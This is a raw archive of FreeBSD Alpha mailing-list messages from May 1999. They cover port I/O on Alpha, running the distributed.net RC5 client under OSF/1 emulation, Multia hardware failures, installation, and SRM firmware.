2E5E214E10 for ; Thu, 6 May 1999 01:32:46 -0700 (PDT) (envelope-from dfr@nlsystems.com) Received: from localhost (dfr@localhost) by herring.nlsystems.com (8.9.3/8.8.8) with ESMTP id JAA35029; Thu, 6 May 1999 09:06:13 +0100 (BST) (envelope-from dfr@nlsystems.com) Date: Thu, 6 May 1999 09:06:08 +0100 (BST) From: Doug Rabson To: Mark Turpin Cc: Alpha Mailing list Subject: Re: Low level parallel I/O? In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Wed, 5 May 1999, Mark Turpin wrote: > > Is there something additional I need to do to use inx/outx on the alpha? > > I tried the same program from my Intel machine and it errors with: > > undefined reference to 'outb' > > > Sound like I need to add some command line options to my cc?!? On intel, you need to include I think. For the alpha, you will need to be root (or at least group kmem) to get access to the /dev/mem device and you must call ioperm(startport, numports) to map the ports into the program. After that inb/outb should work. -- Doug Rabson Mail: dfr@nlsystems.com Nonlinear Systems Ltd. Phone: +44 181 442 9037 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Thu May 6 5:29:21 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from bluto.lgc.com (jking1.lgc.com [134.132.228.2]) by hub.freebsd.org (Postfix) with ESMTP id 8A5DC14E04 for ; Thu, 6 May 1999 05:29:06 -0700 (PDT) (envelope-from king@sstar.com) Received: from raspberry (raspberry [134.132.228.7]) by bluto.lgc.com (8.9.3/8.9.1) with SMTP id HAA84441; Thu, 6 May 1999 07:28:42 -0500 (CDT) (envelope-from king@sstar.com) Message-Id: <4.1.19990506072029.0097fe80@mail.sstar.com> X-Sender: king@mail.sstar.com X-Mailer: QUALCOMM Windows Eudora Pro Version 4.1 Date: Thu, 06 May 1999 07:28:26 -0500 To: Kai Schmidt From: Jim King Subject: Re: RC5 Client for FreeBSD Alpha Cc: freebsd-alpha@freebsd.org In-Reply-To: <199905060333.FAA10635@karhu.hirvi.net> Mime-Version: 1.0 Content-Type: text/html; charset="us-ascii" Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org
>after bringing my Multia up and running I am looking for a rc5 client for
>FreeBSD/AXP.
>
>Did anyone port it?

The version that distributed.net supplies for OSF/1 works on FreeBSD with Andrew Gallatin's OSF/1 emulator module.  Get it at ftp://ftp.cs.duke.edu/pub/gallatin/osf1.tar.gz  "To get started, download the above tarball and untar it into your source tree. Then cd to sys/modules/osf1 and build & install it. Load the module with the just installed osf1 shell script."

rc5des is statically linked, so you won't need any OSF/1 libs to run it.  You will need to create /compat/osf1/etc/svc.conf; here's the one I use:

aliases=local
group=local,yp
hosts=bind,local,yp
netgroup=local,yp
networks=local,yp
passwd=local,yp
protocols=local,yp
rpc=local,yp
services=local,ypSECLEVEL=BSD

Now the bad news:  Alphas do relatively poorly cracking RC5, I think due to lack of a rotate instruction.  Be prepared for poor performance.

otoh, Alphas do pretty good on DES.  When the next DES contest starts be sure your Multia is ready to go.

Jim

To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Thu May 6 7:28:49 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from alpha.airnet.net (unknown [216.180.30.97]) by hub.freebsd.org (Postfix) with ESMTP id C7BF914FB4 for ; Thu, 6 May 1999 07:28:45 -0700 (PDT) (envelope-from kris@airnet.net) Received: from airnet.net (216.180.35.66) by alpha.airnet.net (Worldmail 1.3.167) for freebsd-alpha@freebsd.org; 6 May 1999 09:28:43 -0500 Message-ID: <3731A71A.95752B01@airnet.net> Date: Thu, 06 May 1999 09:28:42 -0500 From: Kris Kirby Organization: Non Illegitemus Carborundum. X-Mailer: Mozilla 4.08 [en] (X11; I; FreeBSD 3.0-RELEASE i386) MIME-Version: 1.0 To: freebsd-alpha@freebsd.org Subject: Installion info for Alpha? Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org I'm looking at buying a DEC Multia soon and am having a little trouble finding installation info for /alpha. I hope this is by accident... -- Kris Kirby Home UAH CS WWW ------------------------------------------- TGIFreeBSD... 'Nuff said. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Thu May 6 9:30:37 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from mail.toplink.net (mail.toplink.net [195.2.171.8]) by hub.freebsd.org (Postfix) with ESMTP id 489FD14F8D for ; Thu, 6 May 1999 09:30:33 -0700 (PDT) (envelope-from ks@hirvi.net) Received: (from uucp@localhost) by mail.toplink.net (8.9.1/8.9.1) with UUCP id SAA09500 for freebsd-alpha@FreeBSD.ORG; Thu, 6 May 1999 18:30:32 +0200 (CEST) Received: from hirvi.net (susi.hirvi.net [195.2.174.98]) by karhu.hirvi.net (8.8.7/8.8.8) with SMTP id QAA17165 for ; Thu, 6 May 1999 16:46:41 +0200 Message-Id: <199905061446.QAA17165@karhu.hirvi.net> Date: Thu, 6 May 1999 18:30:11 +0200 From: Kai Schmidt Reply-To: Kai Schmidt To: freebsd-alpha@FreeBSD.ORG Subject: Multia dead? X-Mailer: Kai Schmidt's registered AK-Mail 3.0b sppb1 [ger] Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Hello, I have a little problem with one of my multia's. I got the machine two weeks ago, I installed Free BSD 3.1 everything was ok, suddenly the machine was dead, no ping no telnet. After rebooting I was able to connect via telnet but after a few keystrokes it turned dead again. Only this time a reboot didn't help. There is no screen output I supose no video signal, nothing, the fan is still running, is this the well know'n heat death? Is there anything I can do? I am situated in Germany maybe somebody has some addresses for spare parts. -- Bye! - Kai Schmidt - "That's why we are on this ship to begin with! It becomes our problem when the machines can't handle it!" Capt. Dallas, USCSS Nostromo To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Thu May 6 9:50:13 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from dingo.cdrom.com (castles530.castles.com [208.214.165.94]) by hub.freebsd.org (Postfix) with ESMTP id 01F97159FA for ; Thu, 6 May 1999 09:50:07 -0700 (PDT) (envelope-from mike@dingo.cdrom.com) Received: from dingo.cdrom.com (localhost [127.0.0.1]) by dingo.cdrom.com (8.9.3/8.8.8) with ESMTP id JAA04240; Thu, 6 May 1999 09:48:45 -0700 (PDT) (envelope-from mike@dingo.cdrom.com) Message-Id: <199905061648.JAA04240@dingo.cdrom.com> X-Mailer: exmh version 2.0.2 2/24/98 To: Kris Kirby Cc: freebsd-alpha@freebsd.org Subject: Re: Installion info for Alpha? In-reply-to: Your message of "Thu, 06 May 1999 09:28:42 CDT." <3731A71A.95752B01@airnet.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Thu, 06 May 1999 09:48:45 -0700 From: Mike Smith Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > I'm looking at buying a DEC Multia soon and am having a little trouble > finding installation info for /alpha. I hope this is by accident... Same process as for i386. -- \\ Sometimes you're ahead, \\ Mike Smith \\ sometimes you're behind. \\ mike@smith.net.au \\ The race is long, and in the \\ msmith@freebsd.org \\ end it's only with yourself. \\ msmith@cdrom.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Thu May 6 11:13:56 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from post.bgnett.no (post.bgnett.no [194.54.96.133]) by hub.freebsd.org (Postfix) with ESMTP id 12BCC15533 for ; Thu, 6 May 1999 11:13:52 -0700 (PDT) (envelope-from erik@habatech.no) Received: from freebsd.habatech.no ([62.92.133.2]) by post.bgnett.no (8.8.8/8.8.8) with ESMTP id UAA12071; Thu, 6 May 1999 20:12:57 +0200 (CEST) (envelope-from erik@habatech.no) From: erik@habatech.no Message-ID: X-Mailer: XFMail 1.3 [p0] on FreeBSD X-Priority: 3 (Normal) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 In-Reply-To: <199905061648.JAA04240@dingo.cdrom.com> Date: Thu, 06 May 1999 20:19:35 +0200 (CEST) Reply-To: erik@habatech.no Organization: Habatech AS To: Mike Smith Subject: Re: Installion info for Alpha? Cc: freebsd-alpha@FreeBSD.ORG, Kris Kirby Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On 06-May-99 Mike Smith wrote: >> I'm looking at buying a DEC Multia soon and am having a little trouble >> finding installation info for /alpha. I hope this is by accident... > > Same process as for i386. > As a generic note, you will need to run the SRM console. Also, as usual, make sure your storage subsystem is supported both by the SRM (to boot) and by FreeBSD (to use it) :) Regards... -- --------------------------------+---------------------------------------+ Erik H. Bakke, Habatech AS | To be or not to be... | E-Mail: erik@habatech.no | Is simply a question of binary logic. | Consultancy, Development, Sales | | --------------------------------+---------------------------------------+ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Thu May 6 12:13:14 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from locus.rose.nu (locus.dml.com [198.49.1.49]) by hub.freebsd.org (Postfix) with ESMTP id D6F0714EDF for ; Thu, 6 May 1999 12:13:12 -0700 (PDT) (envelope-from rose@rose.nu) Received: from localhost (rose@localhost) by locus.rose.nu (8.9.2/8.9.2) with ESMTP id MAA45694 for ; Thu, 6 May 1999 12:13:10 -0700 (PDT) (envelope-from rose@locus.rose.nu) Date: Thu, 6 May 1999 12:13:10 -0700 (PDT) From: Stephen Rose To: freebsd-alpha@freebsd.org Subject: Mozilla Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org It looks like there will need to be some assembly code written to make Mozilla work. This describes the issue: http://lxr.mozilla.org/mozilla/source/xpcom/libxpt/xptcall/status.html Is there anyone that would be interested in looking at this? NetBSD will have the same problem. Maybe one person could do this for both platforms. Steve Rose To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Thu May 6 15:10:33 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from lips.lcse.umn.edu (lips.lcse.umn.edu [128.101.182.100]) by hub.freebsd.org (Postfix) with ESMTP id A298E14FDA for ; Thu, 6 May 1999 15:10:25 -0700 (PDT) (envelope-from cattelan@thebarn.com) Received: from thebarn.com (zumbro.lcse.umn.edu [128.101.182.30]) by lips.lcse.umn.edu (8.9.2/8.9.1) with ESMTP id RAA07789 for ; Thu, 6 May 1999 17:10:23 -0500 (CDT) Message-ID: <3732134E.C1C73614@thebarn.com> Date: Thu, 06 May 1999 17:10:23 -0500 From: Russell Cattelan X-Mailer: Mozilla 4.51C-SGI [en] (X11; U; IRIX 6.5 IP22) X-Accept-Language: en MIME-Version: 1.0 To: freebsd-alpha@freebsd.org Subject: SRM rom Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Does anybody have a copy of the rom for the pc164lx motherboard? I can't seem to find the thing anywhere on digitals ftp sight. (just the fwupdate.exe program) -- Russell Cattelan To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Thu May 6 15:19: 2 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from dingo.cdrom.com (dingo.cdrom.com [204.216.28.145]) by hub.freebsd.org (Postfix) with ESMTP id A09A315BE3 for ; Thu, 6 May 1999 15:19:00 -0700 (PDT) (envelope-from mike@dingo.cdrom.com) Received: from dingo.cdrom.com (localhost.cdrom.com [127.0.0.1]) by dingo.cdrom.com (8.9.3/8.8.8) with ESMTP id PAA01787; Thu, 6 May 1999 15:17:10 -0700 (PDT) (envelope-from mike@dingo.cdrom.com) Message-Id: <199905062217.PAA01787@dingo.cdrom.com> X-Mailer: exmh version 2.0.2 2/24/98 To: Russell Cattelan Cc: freebsd-alpha@freebsd.org Subject: Re: SRM rom In-reply-to: Your message of "Thu, 06 May 1999 17:10:23 CDT." <3732134E.C1C73614@thebarn.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Thu, 06 May 1999 15:17:10 -0700 From: Mike Smith Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > Does anybody have a copy of the rom for the pc164lx motherboard? > I can't seem to find the thing anywhere on digitals ftp sight. > (just the fwupdate.exe program) Are you trying to upgrade a system that already has SRM, or convert an AlphaBIOS system to SRM? -- \\ Sometimes you're ahead, \\ Mike Smith \\ sometimes you're behind. \\ mike@smith.net.au \\ The race is long, and in the \\ msmith@freebsd.org \\ end it's only with yourself. \\ msmith@cdrom.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message